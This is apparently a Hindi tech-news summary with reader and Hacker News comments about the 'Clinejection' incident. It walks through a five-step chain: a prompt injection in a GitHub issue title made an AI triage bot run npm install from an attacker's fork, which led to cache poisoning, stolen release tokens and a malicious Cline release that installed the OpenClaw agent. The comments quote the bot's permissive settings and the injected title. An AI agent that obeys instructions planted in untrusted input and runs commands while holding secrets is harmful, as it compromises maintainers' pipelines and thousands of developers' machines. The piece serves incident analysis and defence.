- शीर्षक में डाली गई prompt injection ने Cline के AI-आधारित issue triage bot के जरिए कमांड inject किए
- npm token चुराकर malicious Cline वितरित किया गया, और इसके साथ OpenClaw AI agent बिना अनुमति install किया गया
- हमलावर ने prompt injection → AI bot द्वारा arbitrary code execution → cache poisoning → credentials चोरी → malicious package deployment की 5-स्टेप चेन बनाई
- मौजूदा security controls (code review, npm audit, provenance attestations) इस हमले का पता नहीं लगा सके
- एक security researcher ने 2025 के दिसंबर के अंत में vulnerability खोजकर रिपोर्ट की, लेकिन 5 हफ्तों तक कोई जवाब नहीं मिला, और public disclosure के बाद भी credential rotation की गलती से हमला संभव हो गया
- AI agent द्वारा AI agent install करने वाला नया supply chain threat pattern सामने आया, जिसने CI/CD environments में AI automation के जोखिम को रेखांकित किया
हमले का अवलोकन
- 17 फ़रवरी 2026 को npm पर
cline@2.3.0publish किया गया। यह पहले वाले version के समान binary था, लेकिनpackage.jsonमें"postinstall": "npm install -g openclaw@latest"की एक पंक्ति जोड़ी गई थी- इसके कारण 8 घंटों के भीतर Cline को install या update करने वाले लगभग 4,000 डेवलपर सिस्टमों पर OpenClaw अपने-आप install हो गया
- OpenClaw एक अलग AI agent है, जिसके पास पूरे system का access है, और यह user की सहमति के बिना globally install हुआ
attack chain (Clinejection)
- स्टेप 1: prompt injection
- Cline, Anthropic के
claude-code-actionका उपयोग करने वाले AI issue triage workflow का इस्तेमाल कर रहा था allowed_non_write_users: "*"सेटिंग के कारण कोई भी issue खोलकर bot को trigger कर सकता था- 28 जनवरी को हमलावर ने Issue #8904 बनाया, जिसका शीर्षक performance report जैसा दिखता था, लेकिन उसमें “specific package install” करने का निर्देश छिपा हुआ था
- Cline, Anthropic के
- स्टेप 2: AI bot द्वारा कमांड execution
- Claude ने इस निर्देश को वैध instruction समझ लिया और attacker के fork (
glthub-actions/cline) मेंnpm installचला दिया - उस fork के
package.jsonमें एक preinstall script शामिल थी, जो remote shell script चलाती थी
- Claude ने इस निर्देश को वैध instruction समझ लिया और attacker के fork (
- स्टेप 3: cache poisoning
- इस script ने GitHub Actions cache को poison करने वाला Cacheract deploy किया
- 10GB से अधिक data inject करके वैध cache को बाहर कर दिया गया और Cline के nightly release workflow द्वारा उपयोग की जाने वाली cache key को spoof किया गया
- स्टेप 4: credentials चोरी
- जब release workflow ने poisoned cache से
node_modulesrestore किया, तबNPM_RELEASE_TOKEN,VSCE_PAT,OVSX_PATचोरी हो गए
- जब release workflow ने poisoned cache से
- स्टेप 5: malicious package deployment
- हमलावर ने चोरी किए गए npm token से
cline@2.3.0publish किया - StepSecurity की monitoring ने 14 मिनट बाद anomaly detect की, और 8 घंटे बाद package हटा दिया गया
- हमलावर ने चोरी किए गए npm token से
response failure और बाद की कार्रवाई
- security researcher Adnan Khan ने दिसंबर 2025 में vulnerability खोजी और 1 जनवरी 2026 को GitHub Security Advisory के जरिए रिपोर्ट की, लेकिन 5 हफ्तों तक कोई जवाब नहीं मिला
- Khan ने 9 फ़रवरी को public disclosure किया, जिसके बाद Cline ने 30 मिनट के भीतर AI triage workflow हटाकर patch जारी किया
- अगले दिन credential rotation शुरू की गई, लेकिन गलत token delete कर दिया गया, और exposed tokens सक्रिय ही रहे
- 11 फ़रवरी को यह गलती पकड़ी गई और दोबारा rotation की गई, लेकिन तब तक हमलावर credentials चुरा चुका था
- npm token 6 दिन बाद malicious package publish करने लायक वैध बना रहा
- Khan हमलावर नहीं था — किसी अलग अज्ञात actor ने Khan के test repository में PoC देखा और उसे Cline पर सीधे weaponize कर दिया
AI द्वारा AI install करने का नया pattern
- इस घटना में एक AI tool ने दूसरे AI agent को install किया, जिससे supply chain में recursive trust problem पैदा हुई
- डेवलपर Tool A (Cline) पर भरोसा करता है → Tool A compromise होकर Tool B (OpenClaw) install कर देता है
→ Tool B के पास Tool A से अलग अपनी capabilities होती हैं (shell execution, credential access, persistent daemon install), और यह डेवलपर के मूल trust decision में दिखाई नहीं देता
- डेवलपर Tool A (Cline) पर भरोसा करता है → Tool A compromise होकर Tool B (OpenClaw) install कर देता है
- OpenClaw
~/.openclaw/से credentials पढ़ सकता है, Gateway API के जरिए shell commands चला सकता है, और reboot के बाद भी टिके रहने वाले persistent system daemon के रूप में खुद को install कर सकता है - Endor Labs ने इसे proof-of-concept स्तर का payload माना, लेकिन अहम बात खुद mechanism है; अगला payload PoC नहीं भी हो सकता
- यह ‘Confused Deputy’ problem का supply chain version है, जहां डेवलपर द्वारा दी गई authority किसी तीसरे agent को delegate हो गई
- डेवलपर Cline को delegated authority देता है, और Cline (compromise के जरिए) वही authority ऐसे पूरी तरह अलग agent को दे देता है, जिसे डेवलपर ने न कभी evaluate किया, न configure किया, न approve
मौजूदा security controls क्यों विफल हुए
- npm audit:
postinstallscript जिस package को install करती है, वह वैध और non-malicious package (OpenClaw) है, इसलिए detect करने लायक malware मौजूद नहीं था - code review: CLI binary पिछले version से byte-for-byte समान थी; सिर्फ
package.jsonकी एक पंक्ति बदली गई थी, इसलिए binary changes पर केंद्रित automated diff checks इसे नहीं पकड़ सके - Provenance attestation: उस समय Cline OIDC-आधारित npm provenance इस्तेमाल नहीं कर रहा था, इसलिए compromised token से provenance metadata के बिना deployment संभव था
- StepSecurity ने इसे anomalous के रूप में flag किया
- permission prompts: install,
npm installके दौरान postinstall hook में हुआ, और कोई भी AI coding tool dependency lifecycle scripts चलने से पहले user confirmation नहीं मांगता, इसलिए छेड़छाड़ दिखाई नहीं दी - हमले ने उस gap का फायदा उठाया कि डेवलपर क्या install होने की उम्मीद करता है (Cline का एक specific version) और वास्तव में क्या execute होता है (package के arbitrary lifecycle scripts और transitive installs)
Cline की post-incident प्रतिक्रिया
- Post Mortem में घोषित सुधारात्मक कदम
- credentials संभालने वाले workflows में GitHub Actions cache का उपयोग हटाना
- npm deployment में OIDC provenance attestation लागू करना, long-lived tokens हटाना
- credential rotation के लिए verification requirements जोड़ना
- SLA के साथ औपचारिक vulnerability disclosure process बनाना शुरू करना
- CI/CD infrastructure के लिए third-party security audit शुरू करना
- केवल OIDC migration से भी यह हमला रोका जा सकता था
- चोरी किए गए tokens, ऐसे provenance system में package deploy नहीं कर सकते थे, जिसमें किसी specific GitHub Actions workflow से cryptographic proof जरूरी हो
संरचनात्मक समस्या और सबक
- Clinejection एक supply chain attack होने के साथ-साथ agent security problem भी है
- हमले का entry point GitHub issue title में natural-language input था, जिसे AI bot ने command की तरह execute कर दिया
- इसकी संरचना MCP tool poisoning या agent skill registry attack जैसी ही है
- untrusted input agent तक पहुंचता है → agent कार्रवाई करता है → execution से पहले resulting action का मूल्यांकन करने वाला कोई नहीं होता
- इस मामले में agent डेवलपर का local coding assistant नहीं, बल्कि हर नए issue पर चलने वाला, shell access और cached credentials रखने वाला automated CI workflow था
- इसका blast radius एक डेवलपर मशीन नहीं, बल्कि पूरे project की deployment pipeline थी
- CI/CD में AI agents deploy करने वाली हर टीम (issue triage, code review, automated testing आदि) इसी तरह के exposure में है
- untrusted input और secret access के संयोजन के जोखिम को समझना होगा
- agent untrusted inputs (issue, PR, comments) प्रोसेस करता है, जबकि उसके पास secrets (tokens, keys, credentials) का access होता है
- syscall-level interception इस तरह के हमले को operational layer पर पकड़ सकता है:
- जब AI triage bot किसी अप्रत्याशित repository में
npm installचलाने की कोशिश करे, तब issue title की सामग्री से अलग policy के आधार पर उसका मूल्यांकन किया जाए; और जब lifecycle script बाहरी host पर credentials exfiltrate करने की कोशिश करे, तब egress block किया जाए
- जब AI triage bot किसी अप्रत्याशित repository में
3 टिप्पणियां
अगर इतनी मार पड़ने के बाद भी यह समझ न बने कि LLM या agent इस्तेमाल करते समय security पर और ज़्यादा ध्यान देना चाहिए, तो फिर मुश्किल है..
लगता है कुछ समय तक prompt injection से लगातार धमाके होते रहेंगे
लगता है आजकल npm package में ऐसी मिलती-जुलती घटनाएँ बार-बार हो रही हैं।
Hacker News की राय
Cline का issue triage workflow
issuesevent पर चलता था औरallowed_non_write_users: "*"पर सेट थायानी, कोई भी सिर्फ issue खोलकर GitHub Actions को trigger कर सकता था, और
--allowedTools "Bash,Read,Write,Edit,Glob,Grep,WebFetch,WebSearch"option की वजह से Claude को default branch workflow के अंदर arbitrary code execution की अनुमति मिल गई थीऐसी setting को जस का तस छोड़कर AI agent चलाना पूरी तरह पागलपन जैसा लगता है
यहाँ तक कि कंपनी के social media mentions अपने-आप पढ़कर bug reports बनवाने की कोशिश भी हो रही है
मैं अपनी कंपनी में AI policy बनाने में मदद करता हूँ, और टेस्ट के तौर पर जब एक ख़तरनाक email Claude को संभालने के लिए दिया गया, तो उसने सारे security ticket की जानकारी ज्यों की त्यों बाहर भेजने की कोशिश की
शुक्र है कि email भेजने की सुविधा बंद थी, इसलिए वह वास्तव में भेजा नहीं गया
ऐसी बिना सुरक्षा वाली AI automation पुरानी SQL injection वाली अफरातफरी की याद दिलाती है। लगता है, सही सुरक्षा उपाय आने से पहले बहुत से लोगों को इसकी मार झेलनी पड़ेगी
लेख में इस बात पर और ज़ोर होना चाहिए था कि GitHub का
issuestrigger बदनामpull_request_targetजितना ही ख़तरनाक हैजैसे ही user input workflow में प्रवेश करता है, उसे संभावित attack code मानना चाहिए
पहले CI के लिए Travis और automation के लिए Zapier अलग-अलग होते थे, लेकिन GitHub Actions ने सब कुछ एक साथ जोड़कर ज़रूरत से ज़्यादा permissions दे दी हैं
Zapier arbitrary binaries नहीं चलाता, इसलिए compromise का जोखिम काफ़ी कम था
input validation का पूरी तरह सुरक्षित तरीका अभी मौजूद नहीं है
ऐसे मामले भी रहे हैं जहाँ LLM ने base64-encoded command चला दिए (उदाहरण लिंक)
अंततः हर input को adversarial data की तरह मानना चाहिए। LLM ख़ुद भी action को “hallucinate” कर सकता है, इसलिए production systems की access देना बिल्कुल नहीं चाहिए
default रूप से किसी भी workflow में credentials शामिल नहीं होने चाहिए, और उसे सिर्फ maintainers जैसे privileged user events तक सीमित होना चाहिए
लेकिन Zapier को एक black-box service की तरह माना जाता है, इसलिए security की ज़िम्मेदारी पूरी तरह उसी की होती है
इसके उलट GHA में GitHub और users की shared responsibility होती है, इसलिए मामला ज़्यादा जटिल है
फिर भी GHA, Zapier से कहीं ज़्यादा flexible है, और ज़्यादातर users अंत में Lambda या webhook के ज़रिए arbitrary code चला ही लेते हैं
उस issue का title यह था
लेकिन
github:cline/cline#b181e0असल में malicious postinstall script वाले forked repository की तरफ़ इशारा कर रहा थासमस्या वाले commit का लिंक
मैं भी अभी तक यही समझता था कि
github:cline/clineका मतलब वही repository हैसोचने वाली बात है कि npm, GitHub integration के ज़रिए इसे कुछ हद तक कम कर सकता है या नहीं
issue title को
${{ github.event.issue.title }}के रूप में Claude prompt में सीधे डाल दिया गया था, और समस्या यह थी कि इसे input sanitization के बिना process किया गयालेकिन Claude prompt के अंदर की request को “मित्रवत ढंग से समझने” की कोशिश करता है, इसलिए लगता है कि सिर्फ़ sanitization से भी शायद कोई फ़ायदा नहीं होता
हर npm command को हमेशा sandbox environment में चलाना चाहिए
मैं ऐसे बढ़ते attack vectors को देखकर खुद amazing-sandbox बना चुका हूँ
जिन भी developers ने Cline को install या update किया, उन्होंने 8 घंटे तक OpenClaw नाम का एक अलग AI agent पूरे system में install कर लिया
हालाँकि, जिन लोगों ने npm settings में
ignore-scripts=trueइस्तेमाल किया था, वे अपवाद थेCline का postmortem post संबंधित तथ्यों को अच्छी तरह समेटता है
लेकिन OpenClaw को “harmless payload” मानना है या trojan horse, यह नज़रिए की बात है
शायद ही कोई AI या AI tools पर पूरी तरह भरोसा करेगा
ऐसी घटना इस बात की फिर से ज़ोरदार याद दिलाती है
खोजने पर OpenClaw को “viral AI agent” कहने वाले लेख भी मिले
पहले के समय में, इस तरह का software install होते ही इसे system compromise माना जाता
arbitrary permissions वाला code, untrusted input को execute करे — यही मूल समस्या है, लेकिन इस मामले में तो इसे उल्टा product की core value की तरह पेश किया गया
यह हैरानी की बात है कि AI कंपनियाँ अभी भी SQL injection और prompt injection की समानता को नहीं समझ रही हैं
prompts को भी उसी तरह की सुरक्षा चाहिए